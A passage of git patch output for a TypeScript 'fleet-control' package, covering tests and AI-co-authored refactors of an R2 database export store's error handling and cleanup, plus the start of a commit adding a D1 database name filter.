it('preserves an existing object after rejected and colliding puts', async () => { + const key = 'db/fixed-x.db'; + const original = bytes(9, 9); + for (const mode of [ + 'reject-before', + 'normal', + ] satisfies readonly PutMode[]) { + const bucket = new FakeR2Bucket(); + bucket.objects.set(key, original.slice()); + bucket.putMode = mode; + const message = + mode === 'normal' + ? 'R2 export key already exists' + : 'R2 export upload failed'; + await rejection( + createStore(bucket, { randomUUID: () => 'fixed' }).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, + }), + message, + ); + expect(bucket.objects.get(key)).toEqual(original); + expect(bucket.deleteCalls).toHaveLength(0); + } + }); + + it('aborts a source when a conditional put returns null before reading', { + timeout: 2_000, + }, async () => { + const bucket = new FakeR2Bucket(); + bucket.putMode = 'null-before-read'; + bucket.objects.set('db/uuid-1-x.db', bytes(9)); + const source = streamFrom(bytes(1, 2), { stayOpen: true }); + const error = await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: source.body, + contentLength: 2, + }), + 'R2 export key already exists', + ); + expect(source.cancellations).toHaveLength(1); + expect(source.cancellations[0]).toBe(error); + expect(bucket.objects.get('db/uuid-1-x.db')).toEqual(bytes(9)); + expect(bucket.deleteCalls).toHaveLength(0); + expect(bucket.putCalls).toBe(1); + }); + + it('deletes an owned object when the pipe fails after put resolution', async () => { + const bucket = new FakeR2Bucket(); + bucket.putResolveAfterBytes = 2; + const source = streamFrom(bytes(1, 2), { errorAfter: 2 }); + const error = await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: source.body, + contentLength: 2, + }), + 'R2 export body did not stream completely', + ); + expect(error.cause).toBe(source.error); + expect(bucket.objects).toHaveLength(0); + expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']); + }); + + it('deletes an owned object for commit-size mismatch', async () => { + const bucket = new FakeR2Bucket(); + bucket.putMode = 'size-mismatch'; + await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, + }), + 'R2 export size differs from contentLength', + ); + expect(bucket.objects).toHaveLength(0); + }); + + it('cleans up readback absence, metadata mismatch, short body, and pipe failure', async () => { + for (const [mode, message] of [ + ['null', 'R2 export readback found no object'], + ['size-mismatch', 'R2 export readback size differs from contentLength'], + ['short', 'R2 export readback length differs from contentLength'], + ['read-error', 'R2 export readback failed'], + ['get-reject', 'R2 export readback failed'], + ] satisfies readonly (readonly [GetMode, string])[]) { + const bucket = new FakeR2Bucket(); + bucket.getMode = mode; + const error = await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, + }), + message, + ); + if (mode === 'read-error' || mode === 'get-reject') { + expect(error.cause).toBe(bucket.readError); + } + expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']); + } + }); + + it('reports a rejected digest promise as a readback failure', async () => { + const bucket = new FakeR2Bucket(); + const sentinel = new Error('digest failed'); + class RejectingDigestStream extends NodeDigestStream { + override readonly digest = Promise.reject(sentinel); + } + const error = await rejection( + createStore(bucket, { + streams: { + ...nodeWorkerStreams, + DigestStream: RejectingDigestStream, + }, + }).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, + }), + 'R2 export readback failed', + ); + expect(error.cause).toBe(sentinel); + expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']); + }); + + it('reports a digest constructor failure as a readback failure', async () => { + const bucket = new FakeR2Bucket(); + const sentinel = new Error('digest constructor failed'); + class ThrowingDigestStream extends WritableStream< + ArrayBuffer | ArrayBufferView + > { + declare readonly digest: Promise; + declare readonly bytesWritten: number | bigint; + + constructor(_algorithm: 'SHA-256') { + super(); + throw sentinel; + } + } + const error = await rejection( + createStore(bucket, { + streams: { + ...nodeWorkerStreams, + DigestStream: ThrowingDigestStream, + }, + }).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, + }), + 'R2 export readback failed', + ); + expect(error.cause).toBe(sentinel); + expect(bucket.deleteCalls).toEqual(['db/uuid-1-x.db']); + }); + + it('aggregates an owned failure with a cleanup rejection', async () => { + const bucket = new FakeR2Bucket(); + bucket.getMode = 'null'; + bucket.deleteError = new Error('delete failed'); + const error = await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1)).body, + contentLength: 1, + }), + 'database export and R2 cleanup failed', + ); + expect(error).toBeInstanceOf(AggregateError); + if (!(error instanceof AggregateError)) + throw new Error('expected aggregate'); + expect(error.errors[0]).toBeInstanceOf(Error); + const exportError = error.errors[0]; + if (!(exportError instanceof Error)) throw new Error('expected Error'); + expect(exportError.message).toMatch( + exactly('R2 export readback found no object'), + ); + expect(error.errors[1]).toBe(bucket.deleteError); + }); + + it('uses a fresh key when retrying after an indeterminate put rejection', async () => { + const bucket = new FakeR2Bucket(); + let attempt = 0; + const store = createStore(bucket, { + randomUUID: () => `uuid-${++attempt}`, + }); + bucket.putMode = 'reject-before'; + await rejection( + store.write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1)).body, + contentLength: 1, + }), + 'R2 export upload failed', + ); + bucket.putMode = 'normal'; + const result = await store.write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1)).body, + contentLength: 1, + }); + expect(result.location).toBe('r2://exports/db/uuid-2-x.db'); + }); + + it('uses a fresh key when retrying after a partial put rejection', async () => { + const bucket = new FakeR2Bucket(); + let attempt = 0; + const store = createStore(bucket, { + randomUUID: () => `uuid-${++attempt}`, + }); + const body = bytes(1, 2, 3, 4); + bucket.putMode = 'reject-mid'; + await rejection( + store.write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(body).body, + contentLength: body.byteLength, + }), + 'R2 export upload failed', + ); + expect(bucket.deleteCalls).toHaveLength(0); + expect(bucket.objects.size).toBe(0); + bucket.putMode = 'normal'; + const result = await store.write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(body).body, + contentLength: body.byteLength, + }); + expect(result.location).toBe('r2://exports/db/uuid-2-x.db'); + expect(bucket.objects.get('db/uuid-2-x.db')).toEqual(body); + }); + + it('validates constructor inputs and key components with fixed messages', async () => { + const bucket = new FakeR2Bucket(); + const BUCKET_MESSAGE = + 'R2DatabaseExportStore requires the Workers R2Bucket put/get/delete interface'; + const STREAMS_MESSAGE = + 'R2DatabaseExportStore requires the Workers DigestStream and FixedLengthStream constructors'; + const validOptions = { + bucket, + bucketName: 'exports', + streams: nodeWorkerStreams, + randomUUID: () => 'uuid', + }; + for (const [override, message] of [ + [{ bucket: Object.create(null) }, BUCKET_MESSAGE], + [{ bucket: { get() {}, delete() {} } }, BUCKET_MESSAGE], + [{ bucket: { put() {}, delete() {} } }, BUCKET_MESSAGE], + [{ bucket: { put() {}, get() {} } }, BUCKET_MESSAGE], + [{ bucket: undefined }, BUCKET_MESSAGE], + [{ streams: Object.create(null) }, STREAMS_MESSAGE], + [ + { streams: { FixedLengthStream: nodeWorkerStreams.FixedLengthStream } }, + STREAMS_MESSAGE, + ], + [ + { streams: { DigestStream: nodeWorkerStreams.DigestStream } }, + STREAMS_MESSAGE, + ], + [{ streams: undefined }, STREAMS_MESSAGE], + [ + { randomUUID: undefined }, + 'R2DatabaseExportStore requires a randomUUID function', + ], + ] as const) { + expect(() => + Reflect.construct(R2DatabaseExportStore, [ + { ...validOptions, ...override }, + ]), + ).toThrow(exactly(message)); + } + expect(() => createStore(bucket, { bucketName: '../bad' })).toThrow( + exactly('R2 export bucketName must be one portable path segment'), + ); + expect(() => createStore(bucket, { keyPrefix: 'exports' })).toThrow( + exactly( + 'R2 export keyPrefix must be portable path segments each followed by /', + ), + ); + expect(() => createStore(bucket, { keyPrefix: 'bad//path/' })).toThrow( + exactly( + 'R2 export keyPrefix must be portable path segments each followed by /', + ), + ); + + for (const [field, value, message] of [ + [ + 'databaseId', + '../db', + 'R2 export databaseId must be one portable path segment', + ], + ['fileName', '../x', 'export fileName must be one portable path segment'], + ] satisfies readonly (readonly [string, string, string])[]) { + const source = streamFrom(bytes(1), { stayOpen: true }); + await rejection( + createStore(bucket).write({ + databaseId: field === 'databaseId' ? value : 'db', + fileName: field === 'fileName' ? value : 'x.db', + body: source.body, + contentLength: 1, + }), + message, + ); + expect(source.cancellations).toHaveLength(1); + expect(bucket.putCalls).toBe(0); + } + }); + + it('accepts a multi-segment key prefix', async () => { + const bucket = new FakeR2Bucket(); + const result = await createStore(bucket, { keyPrefix: 'a/b/' }).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1)).body, + contentLength: 1, + }); + expect(result.location).toBe('r2://exports/a/b/db/uuid-1-x.db'); + }); + + it('preserves a refusal when source cancellation rejects', async () => { + const bucket = new FakeR2Bucket(); + const source = streamFrom(bytes(1), { rejectCancel: true }); + await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: source.body, + contentLength: 0, + }), + 'R2 export refuses an empty body', + ); + expect(bucket.putCalls).toBe(0); + }); + + it('refuses a locked body before starting a put', { + timeout: 2_000, + }, async () => { + const bucket = new FakeR2Bucket(); + const { body } = streamFrom(bytes(1, 2)); + body.getReader(); + await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body, + contentLength: 2, + }), + 'R2 export body is locked', + ); + expect(bucket.putCalls).toBe(0); + expect(bucket.deleteCalls).toHaveLength(0); + expect(bucket.objects.size).toBe(0); + }); + + it('satisfies the database export store contract', () => { + const store: DurableDatabaseExportStore = createStore(new FakeR2Bucket()); + expect(store).toBeInstanceOf(R2DatabaseExportStore); + }); +}); diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index a3609f28..f04ae6a8 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -274,8 +274,8 @@ describe.sequential('D1FleetStateStore Wrangler harness', { ).resolves.toEqual({ blocked: true, count: 1_100 }); }); - // Resetting the server recreates storage and rebinds `worker`, so this - // case stays last. + // Resetting the server recreates storage and rebinds `worker`, + // so this case stays last. it('initializes the schema under concurrent first writes on fresh D1 storage', async () => { await server.reset(); worker = server.getWorker(); From 6d80d6e3dff4732d3d8f6931cf463e206351cdfe Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Fri, 28 Aug 2026 23:12:35 +0400 Subject: [PATCH 010/169] refactor(fleet-control): funnel synchronous R2 bucket throws like rejections The store wrapped three single-operation awaits in `Promise.allSettled([one])`. A module-private `settled()` helper now carries that shape at all three, and resolving the operation through a promise makes a synchronous throw from an injected `get` or `delete` reach the same fixed message and `cause` that a rejection reaches, as a throwing `DigestStream` constructor already did. A synchronous `get` throw therefore deletes the attempt-owned key instead of orphaning it, and a synchronous `delete` throw aggregates with the export error. The put stays bare because wrapping it would start the put after the pipe; its comment now narrows to that one site and records the constraint. The tests add a case pinning both new consequences, merge the two retry cases into one table over a per-row fixture, take the bucket as a parameter in the construction-failure table, move the two pre-upload refusals beside the refusal family, infer `metadata()` and check it with `satisfies` so the spread-restored method can go, and adopt the file's `satisfies` table idiom and camelCase message constants. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- packages/fleet-control/src/r2-export-store.ts | 27 ++- .../test/r2-export-store.test.ts | 228 ++++++++++-------- 2 files changed, 138 insertions(+), 117 deletions(-) diff --git a/packages/fleet-control/src/r2-export-store.ts b/packages/fleet-control/src/r2-export-store.ts index 067930b9..1791c87b 100644 --- a/packages/fleet-control/src/r2-export-store.ts +++ b/packages/fleet-control/src/r2-export-store.ts @@ -127,15 +127,17 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { const prepared = await Promise.resolve() .then(() => this.#prepare(input)) .catch((error: unknown) => { - // A tee branch's cancel settles when its sibling drains, so the - // refusal does not await it. + // A tee branch's cancel settles when the tee source is exhausted + // or the other branch is cancelled, so the refusal does not await + // it. void input.body.cancel(error).catch(() => undefined); throw error; }); const controller = new AbortController(); const collision = new Error('R2 export key already exists'); // A conforming R2Bucket.put returns a promise; a synchronous throw from - // an injected bucket escapes the fixed-message set. + // an injected put escapes the fixed-message set. Wrapping the call would + // start the put after the pipe, so it stays bare. const put = this.#bucket.put(prepared.key, prepared.fixed.readable, { onlyIf: { etagDoesNotMatch: '*' }, }); @@ -175,9 +177,7 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { ); } - const [storedState] = await Promise.allSettled([ - this.#bucket.get(prepared.key), - ]); + const storedState = await settled(() => this.#bucket.get(prepared.key)); if (storedState.status === 'rejected') { return this.#failOwned( prepared.key, @@ -198,9 +198,9 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { ); } - const [digestConstructorState] = await Promise.allSettled([ - Promise.resolve().then(() => new this.#DigestStream('SHA-256')), - ]); + const digestConstructorState = await settled( + () => new this.#DigestStream('SHA-256'), + ); if (digestConstructorState.status === 'rejected') { return this.#failOwned( prepared.key, @@ -280,7 +280,7 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { } async #failOwned(key: string, error: unknown): Promise { - const [cleanupState] = await Promise.allSettled([this.#bucket.delete(key)]); + const cleanupState = await settled(() => this.#bucket.delete(key)); if (cleanupState.status === 'rejected') { throw new AggregateError( [error, cleanupState.reason], @@ -291,6 +291,13 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { } } +async function settled( + operation: () => T | PromiseLike, +): Promise>> { + const [state] = await Promise.allSettled([Promise.resolve().then(operation)]); + return state; +} + function isKeyPrefix(value: string | undefined): boolean { if (value === undefined || value === '') return true; if (!value.endsWith('/')) return false; diff --git a/packages/fleet-control/test/r2-export-store.test.ts b/packages/fleet-control/test/r2-export-store.test.ts index 8997d994..bf8789cb 100644 --- a/packages/fleet-control/test/r2-export-store.test.ts +++ b/packages/fleet-control/test/r2-export-store.test.ts @@ -108,7 +108,7 @@ function workerStreamFrom( return fixed.readable; } -function metadata(key: string, size: number): R2Object { +function metadata(key: string, size: number) { return { key, version: '1', @@ -119,7 +119,7 @@ function metadata(key: string, size: number): R2Object { uploaded: new Date(0), storageClass: 'Standard', writeHttpMetadata() {}, - }; + } satisfies R2Object; } function objectBody( @@ -130,9 +130,6 @@ function objectBody( ): R2ObjectBody { return { ...metadata(key, reportedSize), - // Spread types drop method-signature members; restore the one - // R2ObjectBody needs. - writeHttpMetadata() {}, body: workerStreamFrom(bodyBytes, readError), bodyUsed: false, async arrayBuffer() { @@ -450,6 +447,7 @@ describe('R2DatabaseExportStore', () => { const [body] = source.tee(); const bucket = new FakeR2Bucket(); await expect( + // The race pins the message on the fast path; a suite timeout cannot. Promise.race([ createStore(bucket).write({ databaseId: 'db', @@ -466,18 +464,13 @@ describe('R2DatabaseExportStore', () => { it('cancels on UUID and fixed-stream construction failures', async () => { const uuidError = new Error('uuid failed'); - const uuidBucket = new FakeR2Bucket(); - const invalidUuidBucket = new FakeR2Bucket(); - const fixedBucket = new FakeR2Bucket(); - const cases: readonly [ - FakeR2Bucket, - () => R2DatabaseExportStore, + const cases: readonly (readonly [ + (bucket: FakeR2Bucket) => R2DatabaseExportStore, string, - ][] = [ + ])[] = [ [ - uuidBucket, - () => - createStore(uuidBucket, { + (bucket) => + createStore(bucket, { randomUUID: () => { throw uuidError; }, @@ -485,14 +478,12 @@ describe('R2DatabaseExportStore', () => { 'uuid failed', ], [ - invalidUuidBucket, - () => createStore(invalidUuidBucket, { randomUUID: () => '../bad' }), + (bucket) => createStore(bucket, { randomUUID: () => '../bad' }), 'R2 export key component must be one portable path segment', ], [ - fixedBucket, - () => - createStore(fixedBucket, { + (bucket) => + createStore(bucket, { streams: { ...nodeWorkerStreams, FixedLengthStream: class { @@ -508,10 +499,11 @@ describe('R2DatabaseExportStore', () => { 'fixed failed', ], ]; - for (const [bucket, makeStore, message] of cases) { + for (const [makeStore, message] of cases) { + const bucket = new FakeR2Bucket(); const source = streamFrom(bytes(1), { stayOpen: true }); await rejection( - makeStore().write({ + makeStore(bucket).write({ databaseId: 'db', fileName: 'x.db', body: source.body, @@ -524,6 +516,42 @@ describe('R2DatabaseExportStore', () => { } }); + it('preserves a refusal when source cancellation rejects', async () => { + const bucket = new FakeR2Bucket(); + const source = streamFrom(bytes(1), { rejectCancel: true }); + await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: source.body, + contentLength: 0, + }), + 'R2 export refuses an empty body', + ); + expect(bucket.putCalls).toBe(0); + expect(source.cancellations).toHaveLength(1); + }); + + it('refuses a locked body before starting a put', { + timeout: 2_000, + }, async () => { + const bucket = new FakeR2Bucket(); + const { body } = streamFrom(bytes(1, 2)); + body.getReader(); + await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body, + contentLength: 2, + }), + 'R2 export body is locked', + ); + expect(bucket.putCalls).toBe(0); + expect(bucket.deleteCalls).toHaveLength(0); + expect(bucket.objects.size).toBe(0); + }); + it('reports malformed upload lengths without deleting an object', async () => { for (const [expected, sourceBytes] of [ [4, bytes(1, 2)], @@ -778,67 +806,45 @@ describe('R2DatabaseExportStore', () => { expect(error.errors[1]).toBe(bucket.deleteError); }); - it('uses a fresh key when retrying after an indeterminate put rejection', async () => { - const bucket = new FakeR2Bucket(); - let attempt = 0; - const store = createStore(bucket, { - randomUUID: () => `uuid-${++attempt}`, - }); - bucket.putMode = 'reject-before'; - await rejection( - store.write({ - databaseId: 'db', - fileName: 'x.db', - body: streamFrom(bytes(1)).body, - contentLength: 1, - }), - 'R2 export upload failed', - ); - bucket.putMode = 'normal'; - const result = await store.write({ - databaseId: 'db', - fileName: 'x.db', - body: streamFrom(bytes(1)).body, - contentLength: 1, - }); - expect(result.location).toBe('r2://exports/db/uuid-2-x.db'); - }); - - it('uses a fresh key when retrying after a partial put rejection', async () => { - const bucket = new FakeR2Bucket(); - let attempt = 0; - const store = createStore(bucket, { - randomUUID: () => `uuid-${++attempt}`, - }); - const body = bytes(1, 2, 3, 4); - bucket.putMode = 'reject-mid'; - await rejection( - store.write({ + it('uses a fresh key when retrying after a rejected put', async () => { + for (const [mode, body] of [ + ['reject-before', bytes(1)], + ['reject-mid', bytes(1, 2, 3, 4)], + ] satisfies readonly (readonly [PutMode, Uint8Array])[]) { + const bucket = new FakeR2Bucket(); + let attempt = 0; + const store = createStore(bucket, { + randomUUID: () => `uuid-${++attempt}`, + }); + bucket.putMode = mode; + await rejection( + store.write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(body).body, + contentLength: body.byteLength, + }), + 'R2 export upload failed', + ); + expect(bucket.deleteCalls).toHaveLength(0); + expect(bucket.objects.size).toBe(0); + bucket.putMode = 'normal'; + const result = await store.write({ databaseId: 'db', fileName: 'x.db', body: streamFrom(body).body, contentLength: body.byteLength, - }), - 'R2 export upload failed', - ); - expect(bucket.deleteCalls).toHaveLength(0); - expect(bucket.objects.size).toBe(0); - bucket.putMode = 'normal'; - const result = await store.write({ - databaseId: 'db', - fileName: 'x.db', - body: streamFrom(body).body, - contentLength: body.byteLength, - }); - expect(result.location).toBe('r2://exports/db/uuid-2-x.db'); - expect(bucket.objects.get('db/uuid-2-x.db')).toEqual(body); + }); + expect(result.location).toBe('r2://exports/db/uuid-2-x.db'); + expect(bucket.objects.get('db/uuid-2-x.db')).toEqual(body); + } }); it('validates constructor inputs and key components with fixed messages', async () => { const bucket = new FakeR2Bucket(); - const BUCKET_MESSAGE = + const bucketMessage = 'R2DatabaseExportStore requires the Workers R2Bucket put/get/delete interface'; - const STREAMS_MESSAGE = + const streamsMessage = 'R2DatabaseExportStore requires the Workers DigestStream and FixedLengthStream constructors'; const validOptions = { bucket, @@ -847,26 +853,26 @@ describe('R2DatabaseExportStore', () => { randomUUID: () => 'uuid', }; for (const [override, message] of [ - [{ bucket: Object.create(null) }, BUCKET_MESSAGE], - [{ bucket: { get() {}, delete() {} } }, BUCKET_MESSAGE], - [{ bucket: { put() {}, delete() {} } }, BUCKET_MESSAGE], - [{ bucket: { put() {}, get() {} } }, BUCKET_MESSAGE], - [{ bucket: undefined }, BUCKET_MESSAGE], - [{ streams: Object.create(null) }, STREAMS_MESSAGE], + [{ bucket: Object.create(null) }, bucketMessage], + [{ bucket: { get() {}, delete() {} } }, bucketMessage], + [{ bucket: { put() {}, delete() {} } }, bucketMessage], + [{ bucket: { put() {}, get() {} } }, bucketMessage], + [{ bucket: undefined }, bucketMessage], + [{ streams: Object.create(null) }, streamsMessage], [ { streams: { FixedLengthStream: nodeWorkerStreams.FixedLengthStream } }, - STREAMS_MESSAGE, + streamsMessage, ], [ { streams: { DigestStream: nodeWorkerStreams.DigestStream } }, - STREAMS_MESSAGE, + streamsMessage, ], - [{ streams: undefined }, STREAMS_MESSAGE], + [{ streams: undefined }, streamsMessage], [ { randomUUID: undefined }, 'R2DatabaseExportStore requires a randomUUID function', ], - ] as const) { + ] satisfies readonly (readonly [Record, string])[]) { expect(() => Reflect.construct(R2DatabaseExportStore, [ { ...validOptions, ...override }, @@ -921,39 +927,47 @@ describe('R2DatabaseExportStore', () => { expect(result.location).toBe('r2://exports/a/b/db/uuid-1-x.db'); }); - it('preserves a refusal when source cancellation rejects', async () => { - const bucket = new FakeR2Bucket(); - const source = streamFrom(bytes(1), { rejectCancel: true }); - await rejection( - createStore(bucket).write({ + it('funnels a synchronous bucket throw into the fixed messages', async () => { + const sentinel = new Error('sync bucket failure'); + class ThrowingGetBucket extends FakeR2Bucket { + override get(): never { + throw sentinel; + } + } + const getBucket = new ThrowingGetBucket(); + const readbackError = await rejection( + createStore(getBucket).write({ databaseId: 'db', fileName: 'x.db', - body: source.body, - contentLength: 0, + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, }), - 'R2 export refuses an empty body', + 'R2 export readback failed', ); - expect(bucket.putCalls).toBe(0); - }); + expect(readbackError.cause).toBe(sentinel); + expect(getBucket.deleteCalls).toEqual(['db/uuid-1-x.db']); + expect(getBucket.objects.size).toBe(0); - it('refuses a locked body before starting a put', { - timeout: 2_000, - }, async () => { - const bucket = new FakeR2Bucket(); - const { body } = streamFrom(bytes(1, 2)); - body.getReader(); - await rejection( - createStore(bucket).write({ + class ThrowingDeleteBucket extends FakeR2Bucket { + override delete(): never { + throw sentinel; + } + } + const deleteBucket = new ThrowingDeleteBucket(); + deleteBucket.getMode = 'null'; + const aggregate = await rejection( + createStore(deleteBucket).write({ databaseId: 'db', fileName: 'x.db', - body, + body: streamFrom(bytes(1, 2)).body, contentLength: 2, }), - 'R2 export body is locked', + 'database export and R2 cleanup failed', ); - expect(bucket.putCalls).toBe(0); - expect(bucket.deleteCalls).toHaveLength(0); - expect(bucket.objects.size).toBe(0); + expect(aggregate).toBeInstanceOf(AggregateError); + if (!(aggregate instanceof AggregateError)) + throw new Error('expected aggregate'); + expect(aggregate.errors[1]).toBe(sentinel); }); it('satisfies the database export store contract', () => { From 373798eb9fd7be9131efaf17d140e2da311c7d15 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 00:15:05 +0400 Subject: [PATCH 011/169] test(fleet-control): pin and regroup the synchronous bucket throw case The synchronous-throw case pinned only the aggregate's second error. It now pins the first the way `aggregates an owned failure with a cleanup rejection` does: the instance, then the fixed readback-absence message, then the sentinel identity. The case also moves from after `accepts a multi-segment key prefix` to directly after the aggregate case whose shape it now mirrors. The moved block is byte-identical apart from those assertions, no other case moves, and the case count stays at 26. `settled()` gains one comment line for why the operation is called through a resolved promise rather than passed to `Promise.allSettled` directly. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- packages/fleet-control/src/r2-export-store.ts | 1 + .../test/r2-export-store.test.ts | 92 ++++++++++--------- 2 files changed, 50 insertions(+), 43 deletions(-) diff --git a/packages/fleet-control/src/r2-export-store.ts b/packages/fleet-control/src/r2-export-store.ts index 1791c87b..47d8be05 100644 --- a/packages/fleet-control/src/r2-export-store.ts +++ b/packages/fleet-control/src/r2-export-store.ts @@ -294,6 +294,7 @@ export class R2DatabaseExportStore implements DurableDatabaseExportStore { async function settled( operation: () => T | PromiseLike, ): Promise>> { + // Resolving through a promise makes a synchronous throw a rejection. const [state] = await Promise.allSettled([Promise.resolve().then(operation)]); return state; } diff --git a/packages/fleet-control/test/r2-export-store.test.ts b/packages/fleet-control/test/r2-export-store.test.ts index bf8789cb..a95c45cc 100644 --- a/packages/fleet-control/test/r2-export-store.test.ts +++ b/packages/fleet-control/test/r2-export-store.test.ts @@ -806,6 +806,55 @@ describe('R2DatabaseExportStore', () => { expect(error.errors[1]).toBe(bucket.deleteError); }); + it('funnels a synchronous bucket throw into the fixed messages', async () => { + const sentinel = new Error('sync bucket failure'); + class ThrowingGetBucket extends FakeR2Bucket { + override get(): never { + throw sentinel; + } + } + const getBucket = new ThrowingGetBucket(); + const readbackError = await rejection( + createStore(getBucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, + }), + 'R2 export readback failed', + ); + expect(readbackError.cause).toBe(sentinel); + expect(getBucket.deleteCalls).toEqual(['db/uuid-1-x.db']); + expect(getBucket.objects.size).toBe(0); + + class ThrowingDeleteBucket extends FakeR2Bucket { + override delete(): never { + throw sentinel; + } + } + const deleteBucket = new ThrowingDeleteBucket(); + deleteBucket.getMode = 'null'; + const aggregate = await rejection( + createStore(deleteBucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2)).body, + contentLength: 2, + }), + 'database export and R2 cleanup failed', + ); + expect(aggregate).toBeInstanceOf(AggregateError); + if (!(aggregate instanceof AggregateError)) + throw new Error('expected aggregate'); + expect(aggregate.errors[0]).toBeInstanceOf(Error); + const exportError = aggregate.errors[0]; + if (!(exportError instanceof Error)) throw new Error('expected Error'); + expect(exportError.message).toMatch( + exactly('R2 export readback found no object'), + ); + expect(aggregate.errors[1]).toBe(sentinel); + }); + it('uses a fresh key when retrying after a rejected put', async () => { for (const [mode, body] of [ ['reject-before', bytes(1)], @@ -927,49 +976,6 @@ describe('R2DatabaseExportStore', () => { expect(result.location).toBe('r2://exports/a/b/db/uuid-1-x.db'); }); - it('funnels a synchronous bucket throw into the fixed messages', async () => { - const sentinel = new Error('sync bucket failure'); - class ThrowingGetBucket extends FakeR2Bucket { - override get(): never { - throw sentinel; - } - } - const getBucket = new ThrowingGetBucket(); - const readbackError = await rejection( - createStore(getBucket).write({ - databaseId: 'db', - fileName: 'x.db', - body: streamFrom(bytes(1, 2)).body, - contentLength: 2, - }), - 'R2 export readback failed', - ); - expect(readbackError.cause).toBe(sentinel); - expect(getBucket.deleteCalls).toEqual(['db/uuid-1-x.db']); - expect(getBucket.objects.size).toBe(0); - - class ThrowingDeleteBucket extends FakeR2Bucket { - override delete(): never { - throw sentinel; - } - } - const deleteBucket = new ThrowingDeleteBucket(); - deleteBucket.getMode = 'null'; - const aggregate = await rejection( - createStore(deleteBucket).write({ - databaseId: 'db', - fileName: 'x.db', - body: streamFrom(bytes(1, 2)).body, - contentLength: 2, - }), - 'database export and R2 cleanup failed', - ); - expect(aggregate).toBeInstanceOf(AggregateError); - if (!(aggregate instanceof AggregateError)) - throw new Error('expected aggregate'); - expect(aggregate.errors[1]).toBe(sentinel); - }); - it('satisfies the database export store contract', () => { const store: DurableDatabaseExportStore = createStore(new FakeR2Bucket()); expect(store).toBeInstanceOf(R2DatabaseExportStore); From 224421b5ae6a9728ec0ec0fa944408676aac2183 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 01:43:01 +0400 Subject: [PATCH 012/169] feat(fleet-control): optional name filter for D1 inventory listing PlainWorkerProvisioningApi.listDatabases takes an optional name filter. The direct Cloudflare API adapter forwards it as the D1 list query, so a deployment no longer lists the whole account inventory to find one database; the Wrangler adapter keeps its pinned argv and filters the parsed rows locally. PlainWorkerBackend.findDatabase passes the deployment's database name and keeps its exact-name comparison, because a name filter narrows rather than matches, along with its duplicate-name and missing-UUID refusals. An absent filter sends byte-identical requests on both adapters. The direct conformance suite gains a staged-upload case asserting that the direct adapter converges workers.dev and preview-URL settings, the behavior the shared suite deliberately leaves unasserted. The threat model records the upload-error redaction residual: the redaction knows only the upload intent's plaintext secret values, a consumer-injected fetch can echo the account token into an error, and an SDK coercion can throw a consumer-controlled value that bypasses redaction. The Secrets section's categorical no-plaintext-in-errors claim is narrowed to match. A changeset records the port change as a fleet-control minor release. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- .changeset/named-databases.md | 5 ++ docs/security-threat-model.md | 4 +- ...flare-api-plain-worker-provisioning-api.ts | 6 +- .../fleet-control/src/cloudflare-client.ts | 8 +-- .../cloudflare-ordinary-worker-operations.ts | 2 + .../fleet-control/src/plain-worker-backend.ts | 3 +- packages/fleet-control/src/types.ts | 11 +++- .../wrangler-plain-worker-provisioning-api.ts | 19 ++++-- ...-api-plain-worker-provisioning-api.test.ts | 21 +++++++ .../plain-worker-provisioning-api-fake.ts | 20 ++++-- .../test/plain-worker-backend.test.ts | 62 +++++++++++++++++++ .../plain-worker-conformance.direct.test.ts | 31 ++++++++++ ...gler-plain-worker-provisioning-api.test.ts | 16 +++++ 13 files changed, 187 insertions(+), 21 deletions(-) create mode 100644 .changeset/named-databases.md diff --git a/.changeset/named-databases.md b/.changeset/named-databases.md new file mode 100644 